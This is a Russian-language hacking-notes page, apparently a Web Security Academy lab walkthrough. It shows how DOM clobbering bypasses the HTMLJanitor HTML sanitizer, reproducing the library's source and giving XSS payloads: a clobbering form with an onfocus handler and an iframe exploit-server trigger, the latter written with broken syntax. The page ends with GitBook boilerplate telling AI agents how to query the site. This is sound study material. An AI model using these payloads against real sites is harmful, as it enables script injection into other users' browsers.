> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/ru/web/dom/html-filter-bypass-via-dom-clobbering.md).

# Обход HTML-фильтра через DOM clobbering

### Подмена атрибутов DOM для обхода HTML-фильтров

Используйте уязвимость в **HTMLJanitor** библиотеке (используемой `loadCommentsWithHtmlJanitor`) чтобы обойти HTML-фильтрацию через **подмену DOM-атрибутов** и принудить `print()` выполнение в браузере жертвы. Автоматическое выполнение может потребовать использования сервера эксплойта.

Страница использует **HTMLJanitor** для очистки HTML пользователя. Очиститель:

<figure><img src="/files/10a6101a369a2885875d85209afae8419b5da9a4" alt=""><figcaption></figcaption></figure>

* создаёт песочницу-документ (`document.implementation.createHTMLDocument('')`) и вставляет HTML, который нужно очистить;
* обходит дерево с помощью `TreeWalker` и применяет правила фильтрации к узлам и атрибутам;
* удаляет комментарии и разбирает некоторые неразрешённые элементы, повторно вставляя дочерние элементы, когда тег отклоняется;
* проверяет атрибуты согласно `config.tags` конфигурации и удаляет неразрешённые атрибуты.

```javascript
(function (root, factory) {
  if (typeof define === 'function' && define.amd) {
    define('html-janitor', factory);
  } else if (typeof exports === 'object') {
    module.exports = factory();
  } else {
    root.HTMLJanitor = factory();
  }
}(this, function () {

  /**
   * @param {Object} config.tags Словарь разрешённых тегов.
   * @param {boolean} config.keepNestedBlockElements По умолчанию false.
   */
  function HTMLJanitor(config) {

    var tagDefinitions = config['tags'];
    var tags = Object.keys(tagDefinitions);

    var validConfigValues = tags
      .map(function(k) { return typeof tagDefinitions[k]; })
      .every(function(type) { return type === 'object' || type === 'boolean' || type === 'function'; });

    if(!validConfigValues) {
      throw new Error("Конфигурация была неверной");
    }

    this.config = config;
  }

  var blockElementNames = ['P', 'LI', 'TD', 'TH', 'DIV', 'H1', 'H2', 'H3', 'H4', 'H5', 'H6', 'PRE'];
  function isBlockElement(node) {
    return blockElementNames.indexOf(node.nodeName) !== -1;
  }

  var inlineElementNames = ['A', 'B', 'STRONG', 'I', 'EM', 'SUB', 'SUP', 'U', 'STRIKE'];
  function isInlineElement(node) {
    return inlineElementNames.indexOf(node.nodeName) !== -1;
  }

  HTMLJanitor.prototype.clean = function (html) {
    const sandbox = document.implementation.createHTMLDocument('');
    const root = sandbox.createElement("div");
    root.innerHTML = html;

    this._sanitize(sandbox, root);

    return root.innerHTML;
  };

  HTMLJanitor.prototype._sanitize = function (document, parentNode) {
    var treeWalker = createTreeWalker(document, parentNode);
    var node = treeWalker.firstChild();

    if (!node) { return; }

    do {
      if (node.nodeType === Node.TEXT_NODE) {
        // Если этот текстовый узел состоит только из пробелов и предыдущий или следующий элемент
        //-сосед является блочным элементом, удалите его
        // Примечание: этот эвристический критерий может измениться. Очень специфично для ошибки с
        // `contenteditable` в Firefox: http://jsbin.com/EyuKase/1/edit?js,output
        // Исправить: сделать это опцией?
        if (node.data.trim() === ''
            && ((node.previousElementSibling && isBlockElement(node.previousElementSibling))
                 || (node.nextElementSibling && isBlockElement(node.nextElementSibling)))) {
          parentNode.removeChild(node);
          this._sanitize(document, parentNode);
          break;
        } else {
          continue;
        }
      }

      // Удалить все комментарии
      if (node.nodeType === Node.COMMENT_NODE) {
        parentNode.removeChild(node);
        this._sanitize(document, parentNode);
        break;
      }

      var isInline = isInlineElement(node);
      var containsBlockElement;
      if (isInline) {
        containsBlockElement = Array.prototype.some.call(node.childNodes, isBlockElement);
      }

      // Блочные элементы не должны вкладываться друг в друга (например, <li><p>...); если
      // это происходит, мы хотим развернуть внутренний блочный элемент.
      var isNotTopContainer = !! parentNode.parentNode;
      var isNestedBlockElement =
            isBlockElement(parentNode) &&
            isBlockElement(node) &&
            isNotTopContainer;

      var nodeName = node.nodeName.toLowerCase();

      var allowedAttrs = getAllowedAttrs(this.config, nodeName, node);

      var isInvalid = isInline && containsBlockElement;

      // Удалить тег целиком согласно белому списку *и* если разметка
      // некорректна.
      if (isInvalid || shouldRejectNode(node, allowedAttrs)
          || (!this.config.keepNestedBlockElements && isNestedBlockElement)) {
        // Не сохранять внутренний текст элементов SCRIPT/STYLE.
        if (! (node.nodeName === 'SCRIPT' || node.nodeName === 'STYLE')) {
          while (node.childNodes.length > 0) {
            parentNode.insertBefore(node.childNodes[0], node);
          }
        }
        parentNode.removeChild(node);

        this._sanitize(document, parentNode);
        break;
      }

      // Очистить атрибуты
      for (var a = 0; a < node.attributes.length; a += 1) {
        var attr = node.attributes[a];

        if (shouldRejectAttr(attr, allowedAttrs, node)) {
          node.removeAttribute(attr.name);
          // Сдвинуть массив, чтобы продолжить цикл.
          a = a - 1;
        }
      }

      // Очистить дочерние элементы
      this._sanitize(document, node);

    } while ((node = treeWalker.nextSibling()));
  };

  function createTreeWalker(document, node) {
    return document.createTreeWalker(node,
                                     NodeFilter.SHOW_TEXT | NodeFilter.SHOW_ELEMENT | NodeFilter.SHOW_COMMENT,
                                     null, false);
  }

  function getAllowedAttrs(config, nodeName, node){
    if (typeof config.tags[nodeName] === 'function') {
      return config.tags[nodeName](node);
    } else {
      return config.tags[nodeName];
    }
  }

  function shouldRejectNode(node, allowedAttrs){
    if (typeof allowedAttrs === 'undefined') {
      return true;
    } else if (typeof allowedAttrs === 'boolean') {
      return !allowedAttrs;
    }

    return false;
  }

  function shouldRejectAttr(attr, allowedAttrs, node){
    var attrName = attr.name.toLowerCase();

    if (allowedAttrs === true){
      return false;
    } else if (typeof allowedAttrs[attrName] === 'function'){
      return !allowedAttrs[attrName](attr.value, node);
    } else if (typeof allowedAttrs[attrName] === 'undefined'){
      return true;
    } else if (allowedAttrs[attrName] === false) {
      return true;
    } else if (typeof allowedAttrs[attrName] === 'string') {
      return (allowedAttrs[attrName] !== attr.value);
    }

    return false;
  }

  return HTMLJanitor;

}));
```

* Принцип: внедрите HTML-фрагмент, который создаёт или перезаписывает ID элемента, ожидаемый скриптом страницы (например, a `<form id="x" tabindex=0 onfocus=...>`). Манипулируя навигацией (хэш `#x`) или принудительно устанавливая фокус, вы вызываете событие атрибута.

```html
<html>
<form id=x tabindex=0 onfocus=alert(0)>
<input id=attributes>
</form>
</html>
```

<figure><img src="/files/0c26bbc227d6751261edf34793a93acd96e58553" alt=""><figcaption></figcaption></figure>

* Итоговый вариант для цели (`print()`):

```html
<html>
<form id=x tabindex=0 onfocus=print()>
<input id=attributes>
</form>
</html>
```

<figure><img src="/files/a8ec1472adb0a5893163559884ef30d633aaa827" alt=""><figcaption></figcaption></figure>

* Автоматическое срабатывание через iframe, размещённый на сервере эксплойта: iframe загружает уязвимую страницу, а затем изменяет её `src` чтобы добавить `#x`, вызывая фокус и выполнение `onfocus` обработчика. Пример идеи использования сервера эксплойта:

{% code overflow="wrap" %}

```javascript
<iframe src="https://0a790035036b319583a1731200e90039.web-security-academy.net/post?postId=9 onload="setTimeout() => this.src += '#x',500;></iframe>
```

{% endcode %}


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/ru/web/dom/html-filter-bypass-via-dom-clobbering.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
